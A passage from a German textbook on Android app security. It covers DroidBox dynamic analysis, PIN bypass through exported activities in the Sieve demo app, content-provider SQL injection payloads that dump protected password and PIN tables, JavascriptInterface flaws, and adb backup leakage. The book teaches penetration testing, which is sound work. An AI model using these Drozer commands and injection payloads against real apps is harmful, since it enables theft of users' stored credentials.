6 https://github.com/mspreitz/mobile-sandbox/blob/master/DroidLyzer/APIcalls.txt

4.2 Analyse der Zugriffe auf sensible Nutzerdaten 79
Abb. 4–3: Anzeige der für Berechtigungen verantwortlichen Codezeilen mittels Codeinspect
gung zuständig sind (siehe dazu Abbildung 4–3), und können uns durch einfaches
Klicken an die entsprechenden Stellen navigieren.
4.2.1 Android-Applikation zur Laufzeit analysieren
Gerade im Bereich der Zugriffe auf sensible Nutzerdaten wie das Adressbuch
oder Kontakte sind Werkzeuge erhältlich, die die zuvor gezeigten Schritte automatisiert
durchführen und so dem Analysten eine Menge Arbeit und Zeit ersparen.
Zu diesen Werkzeugen zählen im Android-Umfeld vor allem DroidBox7 und
CuckooDroid8 .
Nachdem wir in Kapitel 3 eine erste Beispiel-Applikation aus dem Bereich der
Android-Malware mit verschiedenen Tools manuell analysiert haben, werden wir
in diesem Abschnitt dieselbe Applikation mithilfe von DroidBox automatisiert
analysieren und auswerten, damit Sie einen Vergleich der statischen und dynamischen
Analyse erhalten. Gerade in Bereichen, in denen man realen Schadcode
oder unbekannte Applikationen ausführen möchte, ist es wichtig, ein abgeschottetes
System dazu zu verwenden – in diesem Fall einen eigens dafür erzeugten
Emulator.
7 DroidBox: https://github.com/pjlantz/droidbox
8 CuckooDroid: https://github.com/idanr1986/cuckoo-droid

80 4 Sicherheitsprobleme bei Android-Applikationen
Abb. 4–4: Konfiguration des Emulators für DroidBox
Für DroidBox benötigen wir einen Emulator mit folgender Konfiguration
(vergleiche dazu auch Abbildung 4–4):
■ Name: DroidBox4
■ Device: Nexus 4
■ Target: Android 4.1.2
■ CPU: armeabi-v7a
Nachdem wir den Emulator erfolgreich angelegt haben, ist es nun an der Zeit,
DroidBox selbst zu installieren. Da es sich bei DroidBox lediglich um einige wenige
Python-Skripte handelt, reicht es aus, sich das Paket herunterzuladen und
in einen Ordner im eigenen Homeverzeichnis zu speichern. Dies geschieht über
folgende zwei Aufrufe:
$: wget https://github.com/pjlantz/droidbox/releases/download/v4.1.1/
DroidBox411RC.tar.gz
$: tar xvf DroidBox411RC.tar.gz
x DroidBox_4.1.1/
x DroidBox_4.1.1/droidbox.sh

4.2 Analyse der Zugriffe auf sensible Nutzerdaten 81
x DroidBox_4.1.1/images/
x DroidBox_4.1.1/scripts/
x DroidBox_4.1.1/startemu.sh
x DroidBox_4.1.1/scripts/bytecode.py
x DroidBox_4.1.1/scripts/droidbox.py
x DroidBox_4.1.1/scripts/error.py
x DroidBox_4.1.1/scripts/monkeyrunner.py
x DroidBox_4.1.1/scripts/utils.py
x DroidBox_4.1.1/images/ramdisk.img
x DroidBox_4.1.1/images/system.img
Codebeispiel 4–11: Installation von DroidBox
Im Anschluss daran haben wir DroidBox erfolgreich installiert und können mit
der ersten Analyse beginnen. Dazu starten wir nun den zuvor vorbereiteten Emulator
mittels des Befehls startemu.sh DroidBox4.
Ist der Emulator gestartet und sehen wir den Homescreen und nicht mehr den
Ladebildschirm mit dem Android-Schriftzug, so können wir DroidBox mitteilen,
welche Applikation wir analysieren möchten. Dies geschieht mit folgendem Aufruf
(hier wird die Applikation mit dem Dateinamen malware.apk übergeben):
$: ./ droidbox .sh malware . apk
____ __ ____
/\ _`\ __ /\ \/\ _`\
\ \ \/\ \ _ __ ___ /\_\ \_\ \ \ \L\ \ ___ __ _
\ \ \ \ \/\`'__\ __ `\/\ \ /'_` \ \ _

82 4 Sicherheitsprobleme bei Android-Applikationen
Wenn dieses Pop-up wieder ausgeblendet wurde, können wir auf die Konsole
wechseln und mit STRG+C die Analyse beenden. In diesem Fall hat die Malware
bereits ihr komplettes schadhaftes Verhalten gezeigt und ein weiteres Warten oder
erneutes Starten der Applikation würde keine weiteren Erkenntnisse liefern.
Nachdem wir mit STRG+C die Analyse abgebrochen haben, generiert DroidBox
den eigentlichen Report. In der aktuellen Version von DroidBox ist dieser Report
ein JSON-Dictionary. Um dieses JSON-Dictionary weiter auswerten zu können,
ist es am einfachsten, die Ausgabe in eine lokale Datei (z. B. droidboxresults.json)
zu kopieren und diese dann im Nachgang weiter zu analysieren.
#!/usr/bin/python
import json
# open manually created json file
with open('droidboxresults.json') as droidbox_results:
result = json.loads(droidbox_results)
result.keys()
# print SMS messages within droidbox results
print 'message -- type -- number'
for sms in result['sendsms']:
print sms['message'] + '--' + sms['type'] + '--' + sms['number']
Codebeispiel 4–13: Aufbereitete Ausgabe der SMS-API-Kommandos, die DroidBox mitschneiden
konnte
Wie wir schon beim Speichern der Ausgabe in die Datei gesehen haben, ist in
diesem Fall nur etwas über die SMS-API mitgeschnitten worden. Um diese Ergebnisse
ausführlicher betrachten zu können, haben wir das Skript im Codebeispiel
4–13 so gestaltet, dass es nur Infos über die SMS-API ausgibt.
Dieses Ergebnis kennen wir auch schon aus der statischen Analyse. Das Beispiel
zeigt aber, wie man schon bei einer kleinen und sehr einfachen Applikation
massiv Zeit und Arbeitseinsatz sparen kann, wenn man die Analyse mit einer
dynamischen Umgebung durchführt, statt auf eine statische Analyse zu setzen.
Die dynamische Analyse ist jedoch keine »Allzweck-Waffe«, da es immer mehr
schadhafte – aber auch gutartige – Applikationen gibt, die eine Ausführung in einer
überwachten Umgebung erkennen und somit bei der Analyse ihr schadhaftes
Verhalten nicht zeigen. Was wir oft sehen, sind schadhafte Applikationen, die auf
gewisse äußere Einflüsse (eingehende SMS, gewisser Ladestand des Akkus etc.)
warten, bevor sie ihr wirkliches Verhalten zeigen. Dies kann man während einer
dynamischen Analyse nur manuell triggern, wenn man aus der statischen Analyse
weiß, auf welche Aktion die Applikation wartet. Aus diesem Grund ist es wichtig,

4.3 Exportierte Activities erkennen und ausnutzen 83
bei jeder Applikation auf eine Mischung aus statischer und dynamischer Analyse
zu setzen und die Ergebnisse beider Analysen miteinander zu vergleichen.
4.3 Exportierte Activities erkennen und ausnutzen
Wie wir bereits im ersten Kapitel gesehen haben, ist eine Activity bei Android-
Applikationen nichts anderes als ein Bildschirm, der innerhalb der Applikation
definiert ist und Nutzereingaben für die Applikation entgegennimmt. Im Prinzip
kann man über exportierte Activities mehrere Einsprungpunkte für den Benutzer
– oder eine andere Applikation – in die eigentliche Applikation definieren.
Sobald man als Entwickler eine Activity exportiert hat, steht sie allen anderen
Applikationen zur Verfügung und kann von ihnen aufgerufen werden. Selbiges
ist der Fall, sobald man als Entwickler einen Intent-Filter auf eine bestimmte Activity
legt (wie in Codebeispiel 4–14 abgebildet).
Codebeispiel 4–14: Intent-Filter, der auf ACTION_SEND-Intents reagiert
Der Nachteil dieser exportierten Einsprungpunkte liegt darin, dass ein Angreifer
nicht zwingend den genau vordefinierten Weg durch eine Applikation wählt,
sondern versucht, über andere Einsprungpunkte hineinzugelangen, um z. B. um
PIN-Abfragen herumzukommen.
Stellen wir uns zum besseren Verständnis die Twitter-Applikation vor. Der
erste Einsprungpunkt ist der Klick auf das Icon, das eine Activity mit den letzten
abonnierten Tweets anzeigt. Es gibt jedoch für andere Applikationen auch die
Möglichkeit, über einen Intent direkt an die Activity zu gelangen, die für das Verfassen
eines Tweets zuständig ist. Mit dieser Activity haben wir nun den zweiten
Einsprungpunkt in die Twitter-Applikation. Als Penetrationstester oder Angreifer
sind wir nun in der Lage, beide Activities direkt aufzurufen. Bei Twitter besteht
hier noch kein Risiko, hätten wir jedoch eine Secure-Twitter-Applikation, die,
bevor man Zugriff auf die Daten (erste Activity) bekommt, nach einer PIN fragt
und bei der diese Abfrage bei der zweiten Activity (Verfassen eines Tweets) vergessen
wurde, so könnte es u. U. möglich sein, dass der Angreifer über die zweite
Activity Zugriff auf die abonnierten Tweets bekommt, ohne die PIN zu wissen.
Mithilfe von Drozer können wir in installierten Applikationen nach solchen
Activities suchen und uns anzeigen lassen, ob weitere Voraussetzungen (z. B. de-

84 4 Sicherheitsprobleme bei Android-Applikationen
finierte Berechtigungen) erfüllt sein müssen, um mit ihnen zu interagieren. Für
dieses Beispiel wählen wir die Sieve-Applikation9 , die von MWR zu Demozwecken
entwickelt wurde.
»Sieve is a small Password Manager app created to showcase some of the
common vulnerabilities found in Android applications.«
Mittels eines Drozer-Moduls namens app.package.attacksurface können wir innerhalb
einer Applikation nach exportierten Komponenten suchen, um Infos darüber
zu erhalten, ob es diesen Angriffsvektor für die gegebene Applikation überhaupt
gibt. Dies geschieht wie in Codebeispiel 4–15 gezeigt.
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
Codebeispiel 4–15: Suche nach exportierten und angreifbaren Activities mittels Drozer
Wie wir anhand der Ausgabe von Drozer sehen, haben wir drei exportierte Activities,
die wir uns nun genauer anschauen möchten:
dz> run app.activity.info -a com.mwr.example.sieve -u
Package: com.mwr.example.sieve
Exported Activities:
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null
9 Sieve: https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk

4.3 Exportierte Activities erkennen und ausnutzen 85
Hidden Activities:
com.mwr.example.sieve.SettingsActivity
Permission: null
com.mwr.example.sieve.AddEntryActivity
Permission: null
com.mwr.example.sieve.ShortLoginActivity
Permission: null
com.mwr.example.sieve.WelcomeActivity
Permission: null
com.mwr.example.sieve.PINActivity
Permission: null
Codebeispiel 4–16: Aufruf einer exportierten und angreifbaren Activity mittels Drozer
Hier sehen wir die drei zuvor schon entdeckten exportierten Activities und zusätzlich
die Information, dass keine Berechtigungen nötig sind, um mit ihnen zu
interagieren. Wir können diese Activities nun also einfach per Drozer aufrufen
und schauen, ob wir an der initialen PIN-Abfrage der Sieve-Applikation vorbeikommen.
Dies erreichen wir im Falle der Activity PWList mit folgendem Befehl:
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.
sieve.PWList
Codebeispiel 4–17: Aufruf einer exportierten und angreifbaren Activity mittels Drozer
Wie wir nun sehen, sind wir an der initialen PIN-Abfrage vorbeigekommen und
erhalten alle gespeicherten Einträge in der Applikation angezeigt, die eigentlich
vor unberechtigtem Zugriff geschützt sein sollen.
Neben den öffentlich exportierten Activities gibt es auch noch solche, die nur
applikationsintern zugänglich sind und in Codebeispiel 4–16 als Hidden Activities
angezeigt werden. Diese kann man jedoch über die Android-Shell und den
ActivityManager manuell aufrufen, sobald man im Besitz von Root-Rechten ist.
Kennt man die Applikation etwas genauer, so weiß man, dass sie in den Einstellungen
die Möglichkeit bietet, alle Passwörter und Nutzerkonten auf die SD-
Karte zu exportieren. Ein weiterer Angriffsvektor könnte daher sein, diese Activity
zu erreichen, um dort das Backup anzustoßen und dann die extrahierten
Daten auf der frei zugänglichen SD-Karte zu analysieren. Dies können wir mit
folgendem Aufruf des ActivityManager erreichen:

86 4 Sicherheitsprobleme bei Android-Applikationen
root@hammerhead:/ # am start -n com.mwr.example.sieve/.SettingsActivity
Starting: Intent { cmp=com.mwr.example.sieve/.SettingsActivity }
Starting: Intent { act=android.intent.action.VIEW dat=Starting: cmp=com.mwr.
example.sieve/.SettingsActivity }
Codebeispiel 4–18: Aufruf einer Hidden Activity mit dem Android-ActivityManager
Diese beiden gezeigten Angriffe auf Sieve sind kein Einzelfall und daher sollte
man diese Angriffsvektoren immer berücksichtigen. Ein weiteres Beispiel hierfür
ist die von Curesec gefundene CVE-2013-627110 , die den Sperrbildschirm eines
Samsung-Smartphones durch einen ähnlichen Angriff umgehen konnte.
4.4 Exportierte Content Provider und SQL-Injections
erkennen und ausnutzen
Content Provider sind wie die zuvor erwähnten Activities eine wichtige Komponente
der Android-Applikationen. Über sie werden Zugriffe von anderen Applikationen
oder externen Paketen auf die eigenen Daten geregelt – also auf eine
der sensibelsten Stellen innerhalb der Applikation. In den meisten Fällen sind
mit diesen Content Providern direkt SQLite-Datenbanken verbunden, was nicht
sonderlich verwunderlich ist, da dies bei Android-Applikationen eine der häufigsten
Techniken ist, um Daten zu verwalten, und die Funktionen einer Datenbank
identisch zu denen eines Content Providers sind: Beide unterstützen Methoden
wie z. B. INSERT, UPDATE, DELETE oder QUERY.
Bei diesen Komponenten wurde in den vergangenen Jahren oft mit fehlender
Sorgfalt gearbeitet und eine Vielzahl an verwundbaren Applikationen waren
die Folge. Das Problem lag bis API-Version 17 darin, dass standardmäßig alle
Content Provider öffentlich waren und somit nicht vor unberechtigtem Zugriff
geschützt. Google hat aus den hohen Zahlen an angreifbaren Applikationen gelernt
und nun die Content Provider standardmäßig so geschützt, dass ein Zugriff
ohne entsprechende Rechte nicht mehr möglich ist. Trotz allem ist dies immer
noch ein guter Angriffsvektor, da zum einen einige Applikationen immer noch
für ein API-Level gebaut werden, bei der dieser Schutz noch nicht vorhanden ist,
und man zum anderen auch absichtlich exportierte Content Provider findet, die
unzureichend geschützt sind.
Betrachten wir wieder die Demo-Applikation und das Codebeispiel 4–15, so
sehen wir, dass auch hier zwei Content Provider exportiert werden. Wie wir schon
zuvor gesehen haben, können wir Drozer nutzen, um weitere Details zu den potenziell
angreifbaren Content Provider zu erhalten.
10 https://blog.curesec.com/article/blog/
CVE-2013-6271-Remove-Device-Locks-from-Android-Phone-26.html

4.4 Exportierte Content Provider und SQL-Injections ... 87
dz> run app.provider.info -a com.mwr.example.sieve -u
Package: com.mwr.example.sieve
Exported Providers:
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Hidden Providers:
Codebeispiel 4–19: Auflistung weiterer Details zu exportierten und angreifbaren Content
Providern mittels Drozer
Wir sehen nun, dass es zwei Content Provider gibt, die exportiert werden (also
potenziell direkt zugreifbar sind), aber keine, die versteckt sind (und somit nur mit
Root-Rechten zugreifbar wären). Die Tatsache, dass es keine versteckten Provider
gibt, hilft uns, da wir nun alle Angriffe auf die Applikation auch ohne Root-
Rechte vornehmen können und dies gerade im Bereich der Risikobewertung eine
wichtige Rolle spielt.
In der Ausgabe von Codebeispiel 4–20 sehen wir weiterhin, dass beide
Content Provider weder eine Berechtigung zum Lesen noch zum Schreiben
auf ihre Ressource benötigen. Einzig der Provider com.mwr.example.sieve
.DBContentProvider hat die Voraussetzung, dass man als zugreifender Prozess
Lese- oder Schreibrechte auf /Keys besitzt. Nun kennen wir die Namen der potenziell
angreifbaren Content Provider. Um jedoch eine Abfrage der dahinter versteckten
Datenbanken machen zu können, benötigen wir die entsprechende URI.
Diese erhalten wir durch folgendes Drozer-Modul:

88 4 Sicherheitsprobleme bei Android-Applikationen
dz> run app.provider.finduri com.mwr.example.sieve
Scanning com.mwr.example.sieve...
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.FileBackupProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Keys
Codebeispiel 4–20: Auflistung weiterer Details zu exportierten und angreifbaren Content
Providern mittels Drozer
Dies sieht schon ganz vielversprechend aus und wir können von hier aus weiter in
der Angriffskette gehen. Versuchen wir nun die Datenbank Keys auszulesen, erhalten
wir die zuvor schon angedeutete Fehlermeldung, dass uns die entsprechenden
Berechtigungen fehlen (siehe Codebeispiel 4–21). Wie in Codebeispiel 4–22
jedoch zu sehen ist, haben wir keine Probleme, die viel interessantere Datenbank
Passwords auszulesen.
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/
Keys
Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri
content://com.mwr.example.sieve.DBContentProvider/Keys from pid=7841,
uid=10075 requires com.mwr.example.sieve.READ_KEYS, or
grantUriPermission()
Codebeispiel 4–21: SQL-Abfrage auf die Keys-Datenbank
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/
Passwords
| _id | service | username | password | email |
| 1 | secret service | 007 | HvNARBCPtx9TAp3of (Base64-encoded) | 007@mi5.co.uk |
Codebeispiel 4–22: SQL-Abfrage auf die Passwords-Datenbank
Dieses Beispiel zeigt, dass exportierte Content Provider mit sensiblen Inhalten
stets durch entsprechende Berechtigungen geschützt sein müssen, da sonst Angreifer
leichtes Spiel bei der Exfiltration von Daten haben und – je nach Szenario –
sogar noch größere Schäden anrichten können, indem sie zusätzliche Inhalte in

4.4 Exportierte Content Provider und SQL-Injections ... 89
die hinterlegten Datenbanken einfügen oder dort hinterlegte Daten ändern. Des
Weiteren sollte man als Entwickler nicht vergessen, dass auf einem nicht mehr
vertrauenswürdigen Endgerät (z. B. nach erfolgreichem Rooting durch den Nutzer
oder einen Angreifer) auch versteckte Content Provider auf diese Art und
Weise ausgelesen oder manipuliert werden können.
Wer mit Webapplikationen schon vertrauter ist, der weiß, dass es in diesem
Zusammenhang auch weitere gängige Angriffsvektoren gibt, nämlich die SQL-
Injection. SQL-Injection beschreibt eine Technik, bei der ein Angreifer SQL-
Kommandos baut oder existierende Kommandos innerhalb der Applikation so
verändert, dass er hierüber in der Lage ist, versteckte Daten sichtbar zu machen,
zu überschreiben oder ganze Tabellen in der Datenbank zu löschen. Der Erfolg
dieses Angriffs ist meist auf mangelnde Überprüfung der Nutzereingaben (engl.
Input Validation) auf Applikationsebene zurückzuführen.
Ähnliche Angriffe lassen sich auch auf Android gegen installierte Applikationen
fahren, die wie zuvor gezeigt, einen mangelhaft geschützten Content Provider
mit dahinterliegender SQLite-Datenbank besitzen.
Ein guter Einstiegspunkt ist es, zu testen, ob eine bekannte URI für einen
solchen Angriff anfällig ist. Am einfachsten ist dies durch Ergänzung einer erfolgreichen
Anfrage um den projection-Parameter mit einem einfachen ’. Der
projection-Parameter wird normalerweise als Filter über die Datenbankspalten
verwendet. Unser Test sieht also wie folgt aus:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/
Passwords -- projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT '
FROM Passwords
Codebeispiel 4–23: SQL-Injection-Test
Wir sehen anhand der Fehlermeldung, dass auf der Codeebene keine Überprüfungen
unserer Anfragen nach bestimmten Werten oder Mustern durchgeführt
werden und die Anfrage direkt eine Fehlermeldung der Datenbank zur Folge hat.
Grund dafür ist, dass unser Filter mit einem einfachen ’ direkt an die Datenbank
durchgereicht wurde. Dies ist ein gutes Zeichen für eine erfolgreiche SQL-
Injection. Versuchen wir nun also herauszufinden, welche Tabellen es noch in
dieser Datenbank gibt:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/
Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

90 4 Sicherheitsprobleme bei Android-Applikationen
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE
android_metadata (locale TEXT) |
| table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER
PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Keys | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin
TEXT ) |
Codebeispiel 4–24: SQL-Injection, um weitere Tabellennamen der Datenbank zu erhalten
Wir sehen in der Ausgabe von Codebeispiel 4–24 wieder die von weiter oben
bekannte Tabelle mit dem Namen Keys. Über die Content Provider hatten wir
hierauf keinen Zugriff, da uns die entsprechenden Berechtigungen gefehlt haben
(siehe Codebeispiel 4–21). Aber wie sieht es aus, wenn wir eine SQL-Injection
über eine andere Tabelle anstoßen, für die wir die nötigen Berechtigungen besitzen?
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/
Passwords/ --projection "* FROM Keys;--"
| Password | pin |
| 12345678901234567890 | 4711 |
Codebeispiel 4–25: SQL-Injection, um die Inhalte der Keys-Datenbank zu erhalten
Nun haben wir auch die Inhalte der zuvor geschützten Tabelle auslesen können
und kennen in diesem Fall alle PINs und Passwörter, die wir benötigen, um die
Applikation über die GUI zu bedienen und an alle Daten zu kommen.
Dieses Beispiel war recht einfach, aber mithilfe von Drozer und SQLmap11
lassen sich diese SLQ-Injections auch finden, wenn sie deutlich komplexer sind.
Dazu muss nur das Drozer-Modul auxiliary.webcontentresolver mit Angabe eines
Ports gestartet werden. Mit localhost und diesem Port kann man SQLmap
nun wie gewohnt verwenden oder alternativ sich im Browser manuell durch
alle verfügbaren Content Provider und Möglichkeiten der SQL-Injection navigieren.
Für einen guten »ersten Wurf« kann man auch die Drozer-Module
scanner.provider.injection und scanner.provider.sqltables verwenden, sie versuchen,
automatisiert nach SQL-Injections in Content Providern zu suchen.
11 SQLmap: http://sqlmap.org/

4.5 Schwachstellen des JavascriptInterface erkennen und ausnutzen 91
4.5 Schwachstellen des JavascriptInterface erkennen
und ausnutzen
Innerhalb von Android-Applikationen ist die Verwendung von WebView zum
Anzeigen von Webseiten keine Seltenheit. Viele Applikationsentwickler möchten
nicht zum Anzeigen von Webinhalten innerhalb der eigenen Applikation auf eine
andere installierte Browserapplikation ausweichen, sondern dies direkt in der
eigenen Applikation tun. Bis Android 4.4 war hierfür WebKit das Mittel der
Wahl (seit Android 4.4 greift man auf Chromium zurück). WebView ist dabei
extrem mächtig und erlaubt eine Vielzahl von Operationen, die dynamisch zur
Laufzeit ausgeführt werden können. Diese Funktionen beinhalten z. B. Zugriff
auf das Dateisystem, Laden von externen Plugins zum Wiedergeben von Flash-
Inhalten, das Speichern von Passwörtern für Webseiten und auch das Ausführen
von JavaScript. An diesen Fähigkeiten sieht man schon, dass der Entwickler hier
ein hohes Maß an Sorgfalt an den Tag legen muss, um über das Einbauen der
WebView-Komponenten nicht seine Applikation und deren Daten zu gefährden.
Eine der extrem kritischen Funktionen der WebView-Komponente ist add-
JavascriptInterface. Diese Funktion verbindet die native Java-Welt auf Android
mit der JavaScript-Welt innerhalb einer Webseite. Somit ist es möglich, aus einer
Webseite heraus durch den Entwickler vordefinierte Funktionen innerhalb
der Applikation zu steuern. Um die Ausmaße zu verdeutlichen, stellen wir uns
folgendes Beispiel vor:
Ein Entwickler baut eine Applikation, die in der Lage ist, die auf dem Gerät
gespeicherten SMS-Nachrichten auszulesen und sie auf einer speziellen Webseite
(Backend) zu sichern. Dies macht er nicht per Upload oder Push-Funktionalität,
sondern er hat im Backend JavaScript hinterlegt, das beim Ansurfen der Webseite
ausgeführt wird und die SMS-Nachrichten vom Gerät abzieht.
Ein weiteres Beispiel für die Verwendung dieser Funktionalität sind Werbenetzwerke.
Sie verdienen ihr Geld im Wesentlichen mit Nutzern, die die angezeigte
Werbung auch anklicken. Dazu ist es von Vorteil, wenn man den Nutzer sehr
genau eingrenzen kann, um ihm auch genau die Werbung zu zeigen, für die er
sich interessiert. Um dieses Profiling besser durchführen zu können, greifen viele
der bekannten Netzwerke auf die Verbindung des Browsers bzw. der WebView
mit nativen Java-Methoden zurück, um Informationen über Kontakte, Ortsdaten
o. Ä. zu erhalten.
Ein solches Szenario ist möglich durch Verwendung des JavascriptInterface
innerhalb der WebView von Android und wird nur durch die Berechtigungen
und den Java-Code der Applikation beschränkt. Neben der Möglichkeit, diese
Funktionen missbräuchlich zu nutzen, gibt es jedoch auch noch das Problem, dass
die Same Origin Policy (SOP) bei dieser »Brücke« nicht greift und somit extern
eingebundene IFRAMES ebenso die Möglichkeit haben, Daten vom Smartphone
selbst abzuziehen.

92 4 Sicherheitsprobleme bei Android-Applikationen
Seinen negativen Höhepunkt hat diese Funktion in Android-Applikationen,
die für Systeme mit einem API-Level kleiner als 17 gebaut sind. Hier kann man
durch Reflection-Techniken jeglichen Java-Code auf dem Endgerät ausführen,
egal ob dies vom Entwickler der Applikation so gedacht war oder nicht. Dies
wurde in CVE-2012-6636 ausführlich beschrieben und ursprünglich von Neil
Bergman12 entdeckt. Wirklich bekannt wurde es jedoch erst durch eine Studie von
Werbenetzwerken und deren Verwundbarkeiten durch MWR13 . Ein solcher Angriff
auf Applikationen mit eingebettetem verwundbarem SDK eines Werbenetzwerks
ist schematisch in Abbildung 4–5 skizziert. Ab API-Level 17 gibt es einen
Fix für dieses Problem, hier muss der Entwickler alle Funktionen der »Brücke«
explizit mit @JavascriptInterface markieren.
Abb. 4–5: Angriff auf ein SDK eines verwundbaren Werbenetzwerks
Aus den oben beschriebenen Gründen ist es wichtig, dass man Applikationen
genau auf die Verwendung von addJavascriptInterface prüft. Dies kann man auf
zwei Arten machen:
12 http://d3adend.org/blog/?p=314
13 https://labs.mwrinfosecurity.com/blog/2013/09/24/webview-addjavascriptinterfaceremote-code-execution/

4.5 Schwachstellen des JavascriptInterface erkennen und ausnutzen 93
1. Mittels des Drozer-Moduls jubax.javascript
2. Mittels manueller Suche der Aufrufe innerhalb einer Applikation14
Hat man in Drozer das zusätzliche Modul jubax.javascript installiert, so kann
man es wie in Codebeispiel 4–26 gezeigt starten und nach potenziell verwundbaren
Applikationen suchen.
dz> run scanner.misc.checkjavascriptbridge
Package: com.google.android.ears
Package: com.qualcomm.timeservice
.....
Package: com.google.android.apps.docs
- vulnerable to WebView.addJavascriptInterface + targetSdkVersion=14
.....
Codebeispiel 4–26: Aufspüren des JavascriptInterface innerhalb einer Applikation mittels
Drozer
Per Kommandozeile kann man das Vorhandensein des JavascriptInterface wie
folgt testen (der zweite Befehl sucht dabei nach Vorhandensein des Javascript-
Interface-Markers, der auf ein API-Level größer als 17 hinweist):
$ grep -r -n -i --include=*.java addJavascriptInterface *
$ grep -r -i --include=*.java \@JavascriptInterface *
Codebeispiel 4–27: Aufspüren des JavascriptInterface innerhalb einer Applikation mittels
Kommandozeile
Die mittels dieser beiden Methoden gefundenen Codeabschnitte sollten im Rahmen
von Assessments immer sehr kritisch geprüft werden, um Schwachstellen
darin auszuschließen, da diese in Verbindung mit MitM-Angriffen (wie wir sie in
Abschnitt 9.2 noch kennenlernen werden) äußerst kritisch sind.
14 Für die manuelle Suche per Kommandozeile ist es wichtig, dass der Sourcecode der
Applikation zuvor durch Tools wie in Kapitel 3 beschrieben zurück in Java-Klassen dekompiliert
wurde.

94 4 Sicherheitsprobleme bei Android-Applikationen
4.6 Ungewollten Datenabfluss durch Verwendung
der Backup-Funktion erkennen
Wie wir in Abschnitt 4.7 noch deutlich ausführlicher sehen werden, ist die forensische
Untersuchung von Daten, auf die eine Applikation zugreift, immens
wichtig. Nun gibt es aber nicht nur Gefahren durch Angreifer mit privilegierten
Rechten (z. B. Root-Rechte), vor denen sich die Entwickler von Applikationen
schützen müssen, sondern auch eingebaute Features, die ungewollt für Probleme
mit der Vertraulichkeit der Daten sorgen können.
Eines dieser Features ist das Backup. Android erlaubt es jedem Applikationsentwickler,
frei zu definieren, ob er es zulassen möchte, seine Applikation und
deren Daten über den Backup-Prozess zu sichern, oder nicht. Dabei sind die folgenden
Punkte zu beachten:
1. Zum Ausführen eines Backups sind keine privilegierten Rechte notwendig, es
reicht der Zugriff über die adb-Schnittstelle.
2. Das Backup erfolgt auf ein System, auf dem die Sandboxen und Restriktionen
von Android u. U. nicht mehr gelten.
Das Backup einer Applikation mitsamt ihren Daten können wir per adb backup
-apk -shared anstoßen. Im Anschluss öffnet sich auf dem Smartphone
eine Applikation (siehe Abbildung 4–6), die noch nach einem Passwort
fragt, mit dem das Backup geschützt werden kann. Die Angabe eines Passwortes
ist dabei freiwillig.
Abb. 4–6: Android-Backup-Applikation

4.7 Spurensuche im Dateisystem 95
Nach einem erfolgreichen Backup erhalten wir eine Datei namens backup.ab
mit allen Daten, die vom Gerät gesichert wurden. Diese Datei lässt sich mithilfe
des Android Backup Extractor15 extrahieren und im Anschluss können alle
enthaltenen Dateien wie gewohnt analysiert werden.
Dies bedeutet also im Klartext: Wenn eine Applikation in einer ihrer Datenbanken
sensible Daten verwaltet, so sind diese auf einem vertrauenswürdigen
Gerät zwar durch die Sandbox der Applikation geschützt, werden aber komplett
schutzlos, sobald die Applikation mitsamt ihren Daten per adb backup auf den
Rechner des Analysten oder Angreifers gesichert wurde. Aus diesem Grund empfiehlt
es sich, das Backup von Applikationen mit sensiblen Daten im Android-
Manifest per android:allowBackup="false" zu verbieten (wie in Codebeispiel 4–28
gezeigt).

96 4 Sicherheitsprobleme bei Android-Applikationen
es darum geht, festzustellen, ob eine Applikation auch wirklich die sensiblen Daten
verschlüsselt oder besonders schützt. Handelt es sich bei den Applikationen
um Firmen-Applikationen, sind deren Daten natürlich auch für Angreifer sehr
gefragt, dies ist ein weiterer Punkt, weshalb man hier genau hinschauen muss.
Zu Beginn schauen wir uns noch kurz an, wie Android selbst seinen Speicher
verschlüsselt. Dies kann dann wichtig werden, wenn man Applikationen und Daten
auf einem Smartphone auswerten möchte, bei dem man die Bildschirmsperre
selbst nicht deaktivieren oder umgehen kann, oder vor hat, direkt auf einem Abbild
des Speichers zu arbeiten. Nachfolgend sehen Sie, wie man den Code für die
Bildschirmsperre berechnen kann, und im Anschluss erfahren Sie, wo sich interessante
Daten finden lassen und wo man als Sicherheitsanalyst immer mal einen
Blick hineinwerfen sollte.
4.7.1 Die Vollverschlüsselung knacken
Full Disk Encryption (FDE), auch Vollverschlüsselung genannt, wurde in Android
3.0 eingeführt und bis Version 4.4 nur unwesentlich verändert. Das Prinzip
dieser Verschlüsselung beruht auf dmcrypt und wird lediglich auf die data-
Partition mit den Nutzerdaten angewendet. Diese Verschlüsselung ist transparent,
was bedeutet, dass jede Schreiboperation automatisch die Verschlüsselung
